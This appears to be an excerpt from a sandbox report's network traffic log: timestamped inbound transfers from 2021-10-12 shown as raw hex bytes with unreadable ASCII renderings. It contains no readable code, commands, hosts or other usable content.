14 e7 1a 46 88 d9 a9 cc f5 5a d2 81 d2 28 7f 16 40 1c 9a 59 62 83 45 9e 87 64 3c 0b 30 ba 9f cf 79 52 64 37 66 ef 6e 1f 
05 92 a4 e0 ca ce 62 ea 40 f2 61 eb 46 bc d9 b9 e9 29 44 b3 f5 3b bb db c1 7f be 19 78 37 29 85 01 97 cc ad c8 13 63 9a 
28 d7 59 4b 6c b0 0d 4d ba 3c eb c0 13 2a 22 dd fb e0 32 87 87 f2 84 f2 aa 42 a1 1c dc 52 84 61 f6 7d 43 ff 2f 7c c5 c4 8b 
1d 62 82 8d df 94 04 b1 ec 89 a2 19 03 8c 88 05 86 a1 c4 be e2 67 24 10 aa c7 3b 74 89 41 65 79 95 3b 8a ef 7e 87 a8 07 
4c e2 4e bb f7 0b 98 36 08 34 01 7e 5d b0 c3 69 98 c5 49 ca 4d 06 44 41 0d 92 1c a8 ec 78 93 ed 0e 26 fe 4b 1d 26 50 71 
62 96 96 a6 55 be 04 53 69 46 44 cc 4a 1b 51 91 4e 57 
Data Ascii: ;xy@VifSvM4~4ohFZ(@YbEd<0yRd7fnb@aF)D;x7)c(YKlM<*"2BRa}C/|bg$;tAey;~LN64~]iIMDAx&K&PqbUS
iFDJQNW

2021-10-12 07:38:07 UTC 184 IN Data Raw: c7 95 e1 cf e6 56 bd d0 39 88 b4 cd 2f 29 48 59 a2 07 5c 92 9c 3f 98 a0 0a 3e f6 4e e6 f1 b4 81 6e c1 70 3b 4f 
d5 8b d1 28 51 70 e5 b7 dc 6c 2d ce 5f af b4 7e bd a7 2f 6c 94 78 ca f1 46 e1 6a 02 7c f4 f0 bb 77 53 99 00 1d be 1d d1 02 
c1 bc 24 20 c2 4f c3 a6 96 12 24 3c 21 fb 67 08 26 47 c3 07 92 f7 3f 06 e1 d2 6c 18 c2 92 6c 65 3d 89 c7 5e 46 2d a9 c6 
00 37 f5 db 2c 65 10 83 87 0d a4 83 7b 12 f7 7e e5 7d f6 0d 9c 5f 76 75 24 25 91 ec 90 d6 74 66 96 43 e8 4c 96 40 67 7a 
d3 df 67 cb ea 6c c7 c2 db 23 dd e2 7f 0e c4 1b 4d 4d 76 31 16 bc 1a fd 05 1c c0 27 48 62 d3 3d 63 94 b4 a0 9a 25 30 93 
fe 92 78 a1 42 0c fe 4f e9 98 cd 06 cd 20 9d 91 bd 73 f9 70 87 51 43 a7 30 87 ef 76 17 05 3f e7 bc d0 8b e0 e4 2e ff 37 8f 
f5 d3 40 2b fd 41 50 45 7a 28 f8 74 52 5f ec 60 
Data Ascii: V9/)HY\?>Nnp;O(Qpl-_~/lxFj|wS$ O$<!g&G?lle=^F-7,e{~}_vu$%tfCL@gzgl#MMv1'Hb=c%0xBO spQC0v
?.7@+APEz(tR_`

2021-10-12 07:38:07 UTC 185 IN Data Raw: 5c 11 99 53 7c fd a2 e8 54 c6 f6 16 9a 8c 2f bb fa 4f ce 88 cc 7a c7 d9 ce 7d 6b d6 96 f2 5e 84 81 38 08 4d 8c 
3c ed 32 c7 09 64 92 75 82 35 1b 79 82 5e 0c 74 a6 9d 5c 02 70 ed a6 f0 1c 7d 48 00 d9 5f eb 54 d2 5d 59 12 5d d9 bc e9 
8e 31 6e d1 2b f8 97 98 0b aa 2e 11 1e 0c 7a 85 58 ad 6e cd 9b 7c 13 0e 0d c2 6e bc 56 25 ed 06 30 fa 11 a1 69 f5 4c 40 
dc 8a 49 3a 85 87 f4 00 d5 8a 70 4f 23 c6 f6 8b d5 db 99 39 96 79 27 7a 2c a5 ff 01 f1 1e dc b2 a0 22 bc 9f f1 93 15 99 21 
39 09 1f ba 3c 6c 73 39 f7 79 a6 df ac e1 4e 9f d8 a6 3c 0a 7e 34 75 a2 f8 2f 6d 56 c1 14 0e fb 52 df ab 04 39 d7 16 9d 18 
4e ee 05 05 b2 ef 27 18 49 60 b0 6d 69 52 70 94 db c3 3f e9 46 8f 44 39 5a 15 2e 55 77 4c 2a 26 9a 80 04 1c d7 c2 0b 96 
03 71 a7 18 77 b9 21 c3 b3 96 85 da 8c 65 1b ac 
Data Ascii: \S|T/Oz}k^8M<2du5y^t\p}H_T]Y]1n+.zXn|nV%0iL@I:pO#9y'z,"!9<ls9yN<~4u/mVR9N'I`miRp?FD9Z.UwL*&qw!e

Timestamp
kBytes
transferred Direction Data
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2021-10-12 07:38:07 UTC 187 IN Data Raw: 3c b4 6b f5 67 80 95 cb 26 92 47 d6 42 98 f6 d6 50 d1 73 f5 bc aa cb 7d 22 59 2b 74 bd 1e 2f 44 23 dc 94 22 
a0 4b 0e d2 a7 54 f2 c9 44 85 0d f1 72 d8 e7 9a 7e 38 47 05 29 19 4d 6a 30 7a c1 f0 d8 22 87 26 18 92 47 c2 06 c9 6c d9 
79 49 34 82 4e 28 af ff 67 7f ac d4 c8 4f e5 ed 05 f3 48 34 bb d9 6f e7 81 46 9b ca 4b 84 f5 34 03 79 e7 5a 0d 5d 5f 34 cc 
37 18 87 0b e1 be 77 c1 dd 40 5f 67 9c d5 7e 89 25 0a 6a b5 c3 a8 22 eb d1 20 ec 75 37 6b 18 ff 86 30 fd f1 52 bd d3 fd 
72 86 dc 40 73 85 63 4c 2a 9d 2e a2 13 3c 23 05 bf 8d bd 63 62 72 bf 64 00 be 4b 06 e4 b7 5b 39 97 96 d2 0c 2c 29 3d a6 
19 86 57 c7 23 41 65 00 27 8e b7 8f 6e 2c 3f 05 cf 60 0a a5 77 08 04 2e 9c f7 13 ea 67 52 3e 7b 7b ae b6 12 25 c1 2b 89 
8c b0 7e c9 87 59 46 1b cf 41 88 d1 53 4c 83 c4 4d b1 
Data Ascii: <kg&GBPs}"Y+t/D#"KTDr~8G)Mj0z"&GlyI4N(gOH4oFK4yZ]_47w@_g~%j" u7k0Rr@scL*.<#cbrdK[9,)=W#A
e'n,?`w.gR>{{%+~YFASLM

2021-10-12 07:38:07 UTC 188 IN Data Raw: 68 ef 48 3f df 95 74 79 40 69 86 50 2b 2c 3a 5e 9e fb 08 96 6c ae 67 bb 61 c3 0e ed a7 02 dc 96 22 71 41 c5 
7b de 45 ef da 37 fb 47 44 f4 b1 13 ad c8 c1 48 bf 07 7c c2 2b 29 02 78 82 e9 cc c2 60 dc 37 16 52 7c 6d a5 1d 6f fc 17 eb 
6c 1a 5d 2a 9a ec 9b 00 b3 86 08 c2 35 bc b8 a4 43 dc 66 8f cb fd f1 41 c3 7d 2c cc 0d 8b 3d 69 dd 92 68 95 3b 94 e2 cc 
51 1a e2 a1 42 0c bd a1 36 88 b1 66 6a 55 fd e7 51 7d e6 42 1e 63 3a 38 5e ef 2d e5 e3 06 e5 e2 4c ae f6 01 57 34 cf 3d 
62 31 5e b4 78 76 48 c1 0c d9 31 1b 7f 45 07 d1 9f bd a5 79 04 e9 c3 32 5e 4d 61 22 c7 29 26 92 3f a6 bc 9d ff 45 7e 47 
d8 e1 a2 55 e2 91 ca 57 f8 30 6e 06 9d c2 15 99 9f fb ea 4b d3 0f b0 e7 16 a4 73 8c 6b 1a f2 9b 40 f1 a9 20 5e 63 d0 2b 
8d f7 53 1c ad e0 29 2f 4c d0 22 46 d0 19 6d 0a c9 9c 
Data Ascii: hH?ty@iP+,:^lga"qA{E7GDH|+)x`7R|mol]*5CfA},=ih;QB6fjUQ}Bc:8^-LW4=b1^xvH1Ey2^Ma")&?E~GUW0
nKsk@ ^c+S)/L"Fm

2021-10-12 07:38:07 UTC 189 IN Data Raw: ba 8d 2d 4f a9 f4 6e 83 7a 6c e5 0b f6 96 07 40 8b dc ba d6 57 19 0a ae ad e2 d7 55 e4 ea 72 83 c6 cd e6 d8 
83 4b 14 e7 38 cb 64 b4 70 61 ca f6 87 38 3d a4 f7 5e 6d c4 c6 34 1a 9f 28 e8 c6 49 53 19 ba 81 06 83 f2 f6 7d 4e 16 0b 
a2 99 b2 72 7c b6 d0 10 e5 ce a2 2e 94 9f 76 a2 22 f3 b0 53 84 92 72 92 d0 1e fe 0d 90 fc 42 25 d5 78 63 c8 f0 cf 83 89 
dd ac ed 3d 7e 64 c7 d0 5b a7 60 0f 44 eb 09 fe 12 8b c3 7a 5f 5f d3 e9 63 4a ce 97 8d 84 34 cc f9 b6 66 ee 40 2e ea fe ad 
33 cd 84 ff 60 8a 78 be c0 e8 d6 90 4b 16 23 39 65 f8 b9 11 df 10 0b a6 3c 8a 0d a2 f7 fd a6 8e f4 d3 f1 31 ba 47 d6 40 0f 
6e 53 74 0d 4b b8 78 1c bc fc 69 c2 31 bb c0 22 3b 2e 14 d7 c1 93 9f b8 df 85 46 0e c7 d6 cc 45 1c 31 44 1d 08 ba 8f 9e 
1e a6 75 b9 36 d2 d2 82 de 45 a0 1d 46 47 4e ed 62 
Data Ascii: -Onzl@WUrK8dpa8=^m4(IS}Nr|.v"SrB%xc=~d[`Dz__cJ4f@.3`xK#9e<1G@nStKxi1";.FE1Du6EFGNb

2021-10-12 07:38:07 UTC 191 IN Data Raw: 01 d7 62 88 9c 5b 00 5e c9 6e f3 f0 7f 04 7b 94 79 f2 50 bc 42 d0 1f 2a d9 e0 e7 7a 6c fd d3 3f f6 7d be 23 af de 
19 f5 2a 81 db be b7 37 c6 c4 7b be 1b 42 c3 da bb 5b 7b 44 20 f9 fd 84 a0 6d d6 63 45 2c 8a f2 65 4e 80 19 00 87 89 b8 
7d 3f e8 9b a9 9b 85 54 37 70 7b 68 7d 8d 85 0a 03 55 19 2a e0 b5 22 95 9e e5 a3 be ab 1e 3c 38 0a ae 66 e7 76 47 ed 
21 81 d0 ab b3 60 04 dd 5a 64 8f 6e c5 52 85 f8 b9 4a 47 e4 80 09 42 1d 22 8c f5 3e 03 33 15 1e 59 eb a6 23 c2 b4 6c 1a 
58 47 3e 45 cf 67 e8 8c b8 eb bf be 74 9c f7 3e 85 17 22 49 d0 4a 66 24 57 cf 15 1c ae c1 37 ba 62 49 18 1b 8b ac 0b 98 
f5 97 c7 ff 09 65 d7 ac ba 95 37 f5 79 25 33 d1 26 57 dd 36 0c 39 8f c5 0c 24 6c 6a c1 85 66 32 b5 10 7a eb ab 2c fc d9 9f 
bf e6 24 8f 63 26 ee d7 82 3d bd e6 95 90 e1 c3 77 
Data Ascii: b[^n{yPB*zl?}#*7{B[{D mcE,eN}?T7p{h}U*"<8fvG!`ZdnRJGB">3Y#lXG>Egt>"IJf$W7bIe7y%3&W69$ljf
2z,$c&=w

2021-10-12 07:38:07 UTC 192 IN Data Raw: fe 9e 60 c9 47 21 27 90 50 cb 30 ce ef 47 c5 2b 86 3b 10 35 47 cb 07 f2 64 0d 57 e8 34 0a 60 f5 81 36 67 55 8c 
fb e4 4e e4 c3 25 43 66 fd bb 0e 62 29 8c 8f 9b dc 46 46 f6 fd 03 99 fa e1 0f 94 5f f6 e6 3d 12 9e 0a 16 ae 61 c9 cc 41 60 
49 d0 d4 6f 88 5e 3c 28 a9 e2 a9 05 c5 90 0f d5 74 eb 78 93 d1 66 30 05 d6 81 be 34 fd b6 9d 6c 6f 64 84 6a 57 d6 b0 c9 
a2 59 32 e4 29 be 8c 6a 47 7c 71 be 65 91 9a 88 06 8e b6 8e 29 a2 95 b8 0d 9c 1a 2c a5 79 87 9c e0 cc 42 57 01 a5 ad 
b7 8c d4 2c ec 37 92 63 ba a5 5a 1b b7 2d c5 f7 50 fa 31 52 dc 7a 73 b5 a1 11 c7 c0 53 aa 84 b3 94 c8 92 46 85 1b 37 40 
b9 f4 46 4d 42 c5 e7 a4 58 73 c0 38 d9 ab cb c3 a7 04 a0 a8 72 a3 5b 20 c3 24 9e bc c1 14 89 f4 19 60 d5 41 f8 e0 f1 40 
b8 a0 2b eb fb 14 1e df 62 d1 e7 3c 9a f6 df 46 a1 99 
Data Ascii: `G!'P0G+;5GdW4`6gUN%Cfb)FF_=aA`Io^<(txf04lodjWY2)jG|qe),yBW,7cZ-P1RzsSF7@FMBXs8r[ $`A@+b<F

2021-10-12 07:38:07 UTC 193 IN Data Raw: c7 00 a3 6f 6c cb 36 15 1c 98 8a 4e d4 fa 7e 0c 28 20 70 78 60 cd 0d 84 d6 eb e5 c0 13 4c 0d ae e1 06 30 5a 
a4 74 cc f0 aa e2 ac 5f d2 64 87 7c f9 d5 4d 8a 69 8c cc 11 85 8b 62 e6 b6 22 88 79 b1 f0 c7 bb 07 03 8c 4a 31 33 bf 22 
bc 51 72 88 48 a8 c7 0e 6a 04 5f 62 6e d7 36 28 f2 a6 c1 1f 26 04 fc d8 bb 51 14 ab 3a 75 34 84 36 12 ae c3 69 ff c9 d8 d3
ab 04 74 5e c3 db 1e a8 17 4a e6 f0 b0 25 cb 41 2d 38 6d 36 01 9e db b8 c3 be b6 50 cb 5b 39 cc 39 55 48 8f 4e 57 92 11 
f5 25 1c d7 bf b2 49 e5 45 41 76 2e 89 c7 9c b1 99 99 0f 14 65 9b 7f d3 b1 0d f5 50 e9 2d 1e de 7f 14 eb ca ff 31 c6 c5 30 
67 b4 30 ad 22 22 9e 50 f8 ec ef 7f 8b 3e 65 b8 aa fd 63 98 06 ef ce 63 ae 47 34 bd c4 55 a2 87 b7 21 76 0c bc 7e 16 85 f0
50 fb 52 87 b1 b4 c7 db 01 7f ff bb f1 1d b7 dd 
Data Ascii: ol6N~( px`L0Zt_d|Mib"yJ13"QrHj_bn6(&Q:u46it^J%A-8m6P[99UHNW%IEAv.eP-10g0""P>eccG4U!v~PR

2021-10-12 07:38:07 UTC 194 IN Data Raw: 4b 9a bf 4a 51 e2 75 60 de a2 ef a8 7e 8d 84 b9 a2 f0 d3 8e 3d d7 2a 3c bc f8 3a a9 92 79 6a df 39 6b 83 e9 5c 
f1 43 ff 56 68 f0 2d ec 12 e1 4d 49 db 5d 88 9d b4 7e 00 a3 0a 09 c6 f6 87 9b 7d 2f cf db 36 cd 9c cc d3 9a 7b cf 14 6b 42 
96 7c 5a 09 83 44 08 23 d0 55 ed 30 c7 3a 65 51 50 65 37 c0 78 03 03 0c 74 49 9c a5 02 26 e8 b0 f3 0e 7d 44 5e 2a 5e 
9a 54 45 5d 42 38 ca db c3 e9 46 6e 1f d1 2a f8 f8 99 f9 af ca 13 99 0d 5d db 5b ad 95 cc 78 7c fe 3e 17 c1 64 bc 23 7b 12 
07 47 fa 85 a1 3c f1 d3 42 a0 8a 23 65 fe 87 f6 00 60 88 12 7e c4 c4 af 89 19 85 99 39 b3 7b cc 7a ce a0 3f 01 f1 1e 07 ec 
85 20 c3 9f 66 93 7e aa b8 3b 76 1f 68 60 ef 73 38 f7 c5 a4 40 aa 1d 4c ba da ea 67 13 7e ba 77 65 fc 09 5f 8e c0 d2 0a f4 
0d 9d a8 b9 3d 70 16 97 1d 17 e8 49 05 a9 b3 
Data Ascii: KJQu`~=*<:yj9k\CVh-MI]~}/6{kB|ZD#U0:eQPe7xtI&}D^*^TE]B8Fn*][x|>d#{G<B#e`~9{z? f~;vh`s8@Lg~we_=pI

2021-10-12 07:38:07 UTC 195 IN Data Raw: 4b f7 13 e9 78 fe b4 fa 1c 1f dd 80 64 6c 7c a2 53 6b fd 8c aa 55 21 53 d6 c7 03 e1 8f d7 f8 f2 ec 7a 8e ad 8e 
1e 29 29 af 93 1c 13 31 f0 37 f5 b3 29 5d 94 22 83 07 85 95 15 64 1d 2a 23 27 b9 a7 41 3e 1e 13 86 99 2f bd a9 4c db 44 
4e d1 c3 43 09 70 18 a7 c3 e9 af 7e 71 d1 c5 c3 bb 3f 1e 4e 43 21 f0 ba e6 4e f3 47 34 46 b4 2e b3 59 a5 d8 10 b1 46 f4 
09 70 18 76 f1 07 df 08 5c 09 8f 47 01 03 b6 83 69 0e 53 ba f5 c8 33 97 ca 52 31 78 f5 e9 1b 06 74 d6 ce f5 d0 70 48 f4 a1 
6c b0 b6 ca 7b af 6d 76 b1 41 79 f2 43 fc df 47 f0 c4 15 87 05 f8 a2 54 ba d2 72 00 cf bc c8 f9 b5 be 73 bc 1d 0d 1d f1 fd 
0b 59 15 a2 2d d1 74 9c 77 f3 a0 71 4a dd b1 73 63 aa a3 e6 a8 15 04 47 bf a1 44 70 76 47 d3 51 fe a3 8c 2b f4 8f df 1b 
92 a4 bf 35 b4 2f 26 e4 72 b6 db d1 23 42 60 6e 
Data Ascii: Kxdl|SkU!Sz))17)]"d*#'A>/LDNCp~q?NC!NG4F.YFpv\GiS3R1xtpHl{mvAyCGTrsY-twqJscGDpvGQ+5/&r#B`n

2021-10-12 07:38:07 UTC 196 IN Data Raw: e2 69 c8 f0 2a 6a c0 6a 0a e7 b9 5c e9 10 9c 30 3b f0 34 bf 71 a3 1c 49 e7 0f ed d9 e6 7e d4 d0 06 79 a8 93 52
df 49 2f 8b 88 a9 8b a6 cc 9a c9 db af 2e 6b 22 c5 df 38 31 83 21 5b 87 b4 6d ed 54 94 9f 03 6f 50 26 63 66 3a 3a 03 4a 
20 a6 d8 9e 02 61 bc 40 b5 35 7d 0e 0a db 3e bf 54 26 09 b0 5a ef db a5 bd be 0a 38 d1 4d ac 01 ff de af 8a 46 63 4f 7d 
db 1e f8 6e 88 58 7c ba 6b eb 87 46 bc 6a 2e ef 67 65 fa e5 f4 c2 93 ff 42 c5 df dc 01 d2 87 92 55 43 ed 3c 7e 87 92 8b c8 
34 85 df 6f 96 3c e7 7a 89 f6 19 44 da 1e 4d ba a2 45 d9 eb 38 da 00 a8 b4 5e 00 40 08 34 6e 12 6f f7 8d f0 c1 c9 51 4c 
86 8e bb 06 5e 7e 52 23 34 9f 6e 5f f2 94 69 4d 92 0d 99 fc 04 7c 16 16 93 49 a8 ab 2f 05 a5 e7 25 79 1e 60 44 3a 36 03 
c1 96 c2 94 be d3 13 8f 22 6e cc 72 0b 53 d2 26 25 
Data Ascii: i*jj\0;4qI~yRI/.k"81![mToP&cf::J a@5}>T&Z8MFcO}nX|kFj.geBUC<~4o<zDME8^@4noQL^~R#4n_iM|I/
%y`D:6"nrS&%

2021-10-12 07:38:07 UTC 198 IN Data Raw: a2 73 8d ee b4 d5 bf ee 4b b8 84 bb 4a 60 26 bc d6 7d 34 17 fb 42 ff b3 2f 63 b1 2b 92 2e da e6 28 46 1c 25 2a 
42 9d b6 5c 19 11 00 df da 05 af a9 22 c8 69 5b e0 f4 40 0f 69 1d e2 86 d2 91 78 70 e6 ca 96 de 77 20 6a 74 2d f5 94 b7 
1a c1 01 1c 4e a7 02 ac 54 f3 ea 40 bb 47 e2 0e 7b 13 08 ac 63 f7 61 7c 09 99 44 1a 0a 91 d9 4c 02 5c e4 8a a7 22 81 af 
63 6d 27 85 c9 1b 14 63 ea e8 f5 e9 2c 1e 91 f5 40 8c 8f cc 6a ee 12 19 87 41 18 ce 67 fe e5 1b a6 a1 41 8f 29 e2 89 32 
e6 bb 5a 0a d2 8f a9 f2 a5 af 7c 9f 1d 18 38 ad 99 26 51 18 83 2a d7 79 92 61 ef c0 0a 39 d0 b4 38 17 c9 89 cb f9 4a 54 60
fe da 10 32 2c 05 b8 17 df ff cd 61 a8 c2 c2 5c cc f0 a8 68 f7 7b 62 c4 44 e2 a9 8f 7b 26 51 73 ea df ee e9 b7 5f 9a 43 d0 
16 a0 c0 7a 7e 33 4c 37 96 0f 9f 32 3d 33 1e 05 
Data Ascii: sKJ`&}4B/c+.(F%*B\"i[@ixpw jt-NT@G{ca|DL\"cm'c,@jAgA)2Z|8&Q*ya98JT`2,a\h{bD{&Qs_Cz~3L72=3

Timestamp
kBytes
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2021-10-12 07:38:07 UTC 199 IN Data Raw: 39 ed fa d0 0a df f6 16 79 a1 f6 65 ff 6e 70 99 a2 d9 a9 f5 bf b7 ee 84 83 18 0f 29 f7 8b 22 12 e6 45 4b ef b0 50 
8a 57 93 e6 14 59 50 32 56 0a 0c 0b 57 77 04 c3 9d 99 76 55 81 2e 95 35 04 36 3b db 0c 8e 37 31 2f d9 4d c2 8b b3 86 
ca 00 0f be 47 ac 78 e8 ef af 8a 7a 0d 68 7c b4 0e d4 1e a8 0d 1b 99 4a b4 a1 65 dd 56 1a 9d 52 49 8a e2 a1 b1 95 de 1d 
c0 fc bd 10 e6 f5 a0 79 33 ef 69 39 a0 b0 df f2 12 e0 9b 6a f9 1a da 1f bb f4 60 73 e9 1e 76 89 d6 7d ff f0 09 e7 33 c6 b3 6f 
0d 6f 24 62 28 1a 55 92 bc ce a0 d8 62 4c a1 b7 d6 13 69 0c 51 75 64 8c 4a 0b df 90 1d 7c b0 6e a9 de 76 5c 41 71 b0 6a 
f7 a5 16 73 8c c2 4c 79 27 14 65 18 5a 14 e3 e4 c3 c3 d9 d3 30 d0 07 4c be 67 39 3d e5 0d 22 4a 4d aa 74 79 d7 81 fc e6 
8c 30 33 7f 0a f8 94 ec dd ff e6 bb 6e 0c f4 c3 
Data Ascii: 9yenp)"EKPWYP2VWwvU.56;71/MGxzh|JeVRIy3i9j`sv}3oo$b(UbLiQudJ|nv\AqjsLy'eZ0Lg9="JMty03n

2021-10-12 07:38:07 UTC 200 IN Data Raw: 5a f6 1d 8f 1d d1 da 3a 27 15 23 3b 1d 93 a7 4d 3c 3f 15 b7 d5 0b b8 b8 6b c1 68 4a c7 e8 49 6c 63 1e 96 a1 
c6 e3 74 64 a5 c1 94 bb 12 35 0f 66 14 b8 9c b5 7f 83 20 75 61 a5 4f 87 57 96 af 77 da 65 e1 67 52 13 45 8b 60 92 00 58 
7b 82 53 6e 06 a5 ad 5a 00 3d ee a2 bc 19 ae df 45 65 4a 93 dc 7e 00 77 83 d4 e2 d7 37 1f 99 db 57 8d 8d c1 6e f8 36 18 
84 24 6b f3 7e cd fb 15 a6 a0 28 86 2b 96 98 02 ff 9e 58 11 d3 a8 c0 fb a4 b2 4d ba 74 2a 29 85 c5 0a 5e 15 b9 20 d7 74 
9a 05 cd a5 37 0f ea b2 2f 07 f5 89 c5 9a 76 49 76 8a e9 1c 69 04 03 9f 12 d3 f4 aa 28 84 db fc 4e d6 fb 9c 0d c1 68 7f c8 
72 e6 9c 85 21 76 67 75 cc c4 e5 eb b7 78 90 75 ee 10 b6 93 1d 48 37 5f 2c 99 1c fa 31 21 3c 1b 10 d0 f8 70 30 a1 7b de 
b3 da 79 af 11 13 ae 7e cd 23 ab 84 25 08 83 b1 ad f7 
Data Ascii: Z:'#;M<?khJIlctd5f uaOWwegRE`X{SnZ=EeJ~w7Wn6$k~(+XMt*)^ t7/vIvi(Nhr!vguxuH7_,1!<p0{y~#%

2021-10-12 07:38:07 UTC 201 IN Data Raw: 08 07 34 f5 b3 32 4c e7 29 64 87 a1 4d 8c 42 ae b1 00 50 3c 64 59 12 1d 02 6f 20 10 ca f1 ca 60 44 9a 39 82 
15 53 22 32 b7 5f a0 3d 28 31 b0 6a c2 a8 b5 8c d3 41 34 bc 47 f8 72 fd fe f0 81 60 21 63 4c a2 12 d9 03 a1 0d 0f 99 4a 
b4 93 76 df 57 09 86 72 49 aa f5 ce b6 9f c9 2d cd 8a af 01 f3 d8 b1 6e 22 e8 05 1b 96 b7 e7 8b 20 e8 9b 7a fb 79 f5 17 cf 
e5 74 03 ca 73 05 ab cf 22 f4 f2 67 d5 3f c4 a2 68 00 6d 24 03 03 73 5e 92 9b f9 83 cb 74 29 b1 ac c9 06 69 13 34 32 51 
8c 6a 3a c3 b3 06 60 b6 68 8e df 76 5c 20 7b d5 5a cd 8a 14 64 99 d5 76 6c 3b 05 47 00 36 07 f3 e2 f9 86 d0 d2 0b e9 17 
4d be 70 3d 3e 91 0d 25 5f 49 ab 69 4f a3 b0 f8 f7 95 45 06 7f 7e eb 81 ed c4 f3 f6 ae 49 11 e9 c8 99 dd 24 b8 35 49 4d ab 
8e 2c 60 43 82 41 41 c6 a2 46 38 26 55 fd 43 41 f8 
Data Ascii: 42L)dMBP<dYo `D9S"2_=(1jA4Gr`!cLJvWrI-n" zyts"g?hm$s^t)i42Qj:`hv\ {Zdvl;G6Mp=>%_IiOE~I$5
IM,`CAAF8&UCA

2021-10-12 07:38:07 UTC 203 IN Data Raw: db 65 40 d1 a7 7c 09 63 0a f5 ab ef 93 63 6b ca cb f2 f2 19 25 6e 6c 1b dc bf b2 0b a0 02 0d 41 a7 3f b7 59 f9 
84 10 99 51 ff 17 61 1b 22 b1 66 e2 09 56 18 a5 4c 0d 00 b2 d9 57 08 53 89 86 ba 21 91 c2 45 6c 3e ba ce 0a 28 76 d1 e6 
f5 c3 26 3f 8c 96 66 95 8b cd 60 f2 5f 37 91 43 6d fb 6f fc df 3a b7 a8 2d ad 34 f5 b3 17 fc bb 56 0b b6 a3 c7 e3 a1 b7 4a 
b9 3b 0f 18 b1 9c 3b 59 19 b8 01 c6 79 98 75 fe a9 2c 24 84 82 2f 00 f7 82 d6 df 5d 53 60 8e f8 18 28 2e 71 bf 17 dd ef a0 
63 a3 c2 d8 51 dc f0 8b 79 ee 75 7e a5 57 e2 9b bf 53 27 47 62 cc c4 fb f8 de 43 91 37 fc 06 a7 fa 6d 7e 30 4e 37 9e 0b 8e 
1d 3d 31 7a 07 d0 c8 4e 17 b4 49 de b4 c0 53 ad 62 25 b2 72 ce 34 a3 9b 2e 4c b1 bc bf d0 78 1e 4f 6a 67 c5 fa aa 6b 61 
5d eb 58 cd 8b 54 aa 45 cb d2 07 70 0f 8c 02 
Data Ascii: e@|cck%nlA?YQa"fVLWS!El>(v&?f`_7Cmo:-4VJ;;Yyu,$/]S`(.qcQyu~WS'GbC7m~0N7=1zNISb%r4.LxOjgk
a]XTEp

2021-10-12 07:38:07 UTC 204 IN Data Raw: 03 7d 11 d2 c2 9f 71 42 9a 40 b1 14 0f 34 3b b5 2b be 27 21 2f b0 5e de af 9e ab cc 00 1b a2 4e 8a 01 eb ef db 
97 51 11 63 5f a8 3f df 6e 8e 62 12 98 57 9f a9 7c d2 43 17 ac 69 5d 8a e6 d3 a7 bf c8 28 c4 e9 a8 23 f5 e2 95 74 26 f8 69 
2a aa 83 ee e5 07 f7 f2 5a c6 18 c3 1b a2 c5 6d 66 fe 1e 40 82 c1 4d d8 fa 15 c3 37 da a6 56 11 6b 24 10 6e 20 4d 85 8a 
c7 ac fd 75 25 96 bd c9 63 5c 1b 4c 01 63 8a 51 2b d5 b1 69 4b ab 79 b8 d9 04 7b 28 62 96 71 c6 9a 1d 77 99 d5 57 18 
0b 09 48 0c 44 19 d0 f9 d4 ae df c2 30 ea 36 39 ab 70 28 0c d2 21 3a 56 4c ab 63 6e d7 91 f8 e4 8e 20 33 59 65 d4 94 e9 
c5 f3 f7 da 7d 00 ef f2 bc de 57 a7 35 57 4d b5 81 1a 66 31 94 45 58 99 81 4d 3f 2b 7c de 4d 5f ef 7d 94 ec bc 48 f2 a8 07 
d1 da 47 05 2c 7a 8b 98 ef c8 e5 5f cf c4 b4 ee 1e 
Data Ascii: }qB@4;+'!/^NQc_?nbW|Ci](#t&i*Zmf@M7Vk$n Mu%c\LcQ+iKy{(bqwWHD069p(!:VLcn 3Ye}W5WMf1EXM?+|
M_}HG,z_

2021-10-12 07:38:07 UTC 205 IN Data Raw: 9e a7 20 94 34 10 66 a7 29 a2 45 fa 9e 53 a8 46 e2 02 7b 00 2c a2 6b e1 61 7a 0a 95 55 02 16 c2 f8 4a 0e 51 
fa c7 8b 34 81 ce 54 67 1a 94 c9 1f 0a 63 83 d1 fa d1 2f 0e b1 9b 76 88 9a d6 6e e8 3a 3f 97 41 75 e5 0a c1 d2 07 b6 a1 
2c c6 1b ff b8 03 e7 a5 4a 4b f0 85 db f8 b3 db 67 b3 07 7f 3e ac 93 3b 51 1f b8 37 be 59 92 6b fc a5 31 39 ed be 2e 10 9c 
b4 db e9 51 55 68 d0 d8 14 3f 34 5f ac 00 dd ef a1 67 bf f3 e5 59 cd f0 88 7e ee 75 7e d6 30 e0 8a 94 48 0b 5a 62 d2 d8 ef 
e9 fe 42 b8 5b e0 01 b2 c9 66 6b 26 5f 24 83 12 95 1a 21 5f 09 05 c1 e3 58 2a a3 44 df a5 d6 5e a6 56 2a af 79 df 2c 85 
84 25 3e 83 b1 a5 cb 73 00 61 6b 6b d8 fa a6 6b 2a 30 c7 5b cf 9d 43 ac 4d cd d2 11 14 39 91 13 3e 58 20 ab 89 d9 35 16 
e1 bd 9f 97 7b bc ab 10 b2 89 59 1e 9f 86 23 87 ed 
Data Ascii:  4f)ESF{,kazUJQ4Tgc/vn:?Au,JKg>;Q7Yk19.QUh?4_gY~u~0HZbB[fk&_$!_X*D^V*y,%>sakkk*0[CM9>X 5{Y#

2021-10-12 07:38:07 UTC 207 IN Data Raw: c1 8e db 1b 33 99 4e 91 66 f0 fe af af 76 17 53 64 be 34 ca 06 b9 0d 0f 99 4a b4 8c 76 d2 45 13 9b 06 5f 8a d8 
e4 ba 80 c6 2b c2 e3 a8 64 d4 f7 98 69 37 8a 3e 1f ac b0 cd e4 10 c0 e3 50 e2 79 e7 1b ba cc 6d 40 e0 71 76 89 f4 43 c9 
f3 13 93 00 c9 b2 57 00 50 31 07 00 25 58 82 83 d2 c1 cd 62 38 bd 9c de 05 69 0b 58 01 34 b1 79 2c c9 ad 0a 5c a0 7e 
a8 c7 70 39 0c 65 b2 5c c7 94 2a 60 9e c5 49 6c 49 13 43 19 69 35 e5 f3 d4 82 d9 d3 2a fb 44 6e a9 77 1f 3f f8 2b 39 52 
39 8c 6b 68 a7 81 f1 ff 9d 2b 35 1a 59 c0 97 e8 d4 fb ab 97 7b 0b fa ca 9d dd 41 9b 24 24 7a b4 9b 3a 78 54 8a 45 42 b2 
c5 62 38 0d 78 ce 4a 5e fc 76 92 ec aa 43 f0 82 19 d7 c4 48 0f 23 7c ef 96 eb c1 d6 55 de b1 8d e4 3c cd 23 11 6d c8 22 
46 e6 82 30 95 23 87 f4 d1 b5 8b 67 0d 98 d5 82 1d d9 b8 
